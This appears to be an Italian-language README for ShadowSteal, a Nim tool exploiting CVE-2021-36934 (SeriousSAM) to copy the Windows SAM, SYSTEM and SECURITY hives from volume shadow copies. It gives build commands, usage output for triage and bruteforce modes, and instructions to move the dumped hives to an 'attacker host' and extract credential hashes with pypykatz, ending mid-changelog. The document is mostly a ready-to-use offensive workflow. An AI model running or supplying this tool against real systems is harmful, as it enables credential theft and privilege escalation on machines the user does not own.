
Implementazione in puro Nim per sfruttare CVE-2021-36934, l'escalation dei privilegi locale SeriousSAM
Implementazione pura in Nim per sfruttare CVE-2021-36934, la escalation dei privilegi locali (LPE) SeriousSAM. Non OPSEC safe.... ancora ;). Non rivendico il merito della scoperta di questo exploit.
Iniziare con ShadowSteal ora è più facile che mai grazie a Docker! Non vuoi avere a che fare con l'installazione delle dipendenze di Nim? Ti copro io! Esegui lo script Python per creare l'ambiente di build Docker, compila il binario, trasferiscilo di nuovo sul tuo host e poi elimina il container.
Installa Docker sul tuo host (consulta la documentazione per l'installazione sui diversi sistemi operativi), quindi esegui lo script Python di ShadowSteal nella directory principale:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
Oppure, compila dal sorgente installando Nim e le sue dipendenze:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Installa la toolchain MinGW se non è già installata.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Trasferisci sulla macchina target...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Per una svista di Microsoft, gli utenti normali hanno permessi di lettura sui contenuti della cartella ...\System32\config\ nelle versioni recenti di Windows. Tra le altre cose, ciò significa che un utente con privilegi minimi ha accesso in lettura ai file SAM, System e Security in ...\System32\config.

Ooof. Quindi cosa possiamo farci?
Alcuni ricercatori molto attenti (un saluto a @jonasLyk!) hanno notato che se un host Windows ha utilizzato una specifica configurazione di ripristino del sistema, "Volume Shadow Copies", l'host archivia copie di backup di questi file accessibili tramite il namespace di dispositivi Win32 per queste copie.


Il SAM è normalmente bloccato durante il funzionamento dell'host, quindi accedere al SAM in ...\System32\config\ è fuori discussione. Ma queste copie shadow dei volumi sono accessibili a qualsiasi utente dell'host a causa di questa errata configurazione. Molto bene!
ShadowSteal è un binario scritto in Nim per automatizzare l'enumerazione e l'esfiltrazione dei file SAM, System e Security da queste copie shadow. Itera attraverso le possibili posizioni delle copie shadow e, quando trova un target, estrae i file in una directory compressa (pensa all'output di Bloodhound).


Non è nulla di sconvolgente e il codice è raffazzonato, ma funziona ed è stato divertente da costruire!
Installa Nim:
$ sudo apt-get install nim
Installa le dipendenze:
$ nimble install zippy argparse winim
Installa la toolchain MinGW se non è già installata:
$ sudo apt-get install mingw-w64
Compila per Windows a 64 bit:
$ make
Trasferisci sul target ed eseguilo!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
Limita il bruteforce delle posizioni da 10 a 1, decrementando a ogni tentativo. Rapida ed efficace nella maggior parte degli ambienti.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Cerca in tutte le posizioni possibili (512), decrementando fino a 1. Provala per enumerare a fondo l'ambiente. Richiede alcuni minuti.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Trasferisci la directory di output di nuovo sul tuo host da attaccante ed estrai i dati con Pypykatz. Per installare:
$ pip3 install pypykatz
Per eseguire Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Ora include un ambiente di build Docker pre-confezionato e facile! Basta eseguire lo script ShadowSteal.py per configurare l'ambiente Docker, compilare il binario, trasferirlo di nuovo sul tuo host ed eliminare i container di build. Funziona e basta! (È richiesto un po' di assemblaggio, ovvero devi avere Docker per eseguirlo).
Snello e scattante. Opzioni di compilazione ottimizzate aggiunte. Enorme aumento delle prestazioni grazie all'ottimizzazione del compilatore, il bruteforce completo ora avviene quasi istantaneamente. Un enorme ringraziamento a @orbitalgun per la pseudo PR, gloria alla tua casa e al tuo nome!
Salite a bordo, ragazzi, questo disastro sta partendo. Questa release era il mio prototipo rapido ed era piuttosto terribile lol. Però è stato molto divertente costruirla! Caratteristiche:
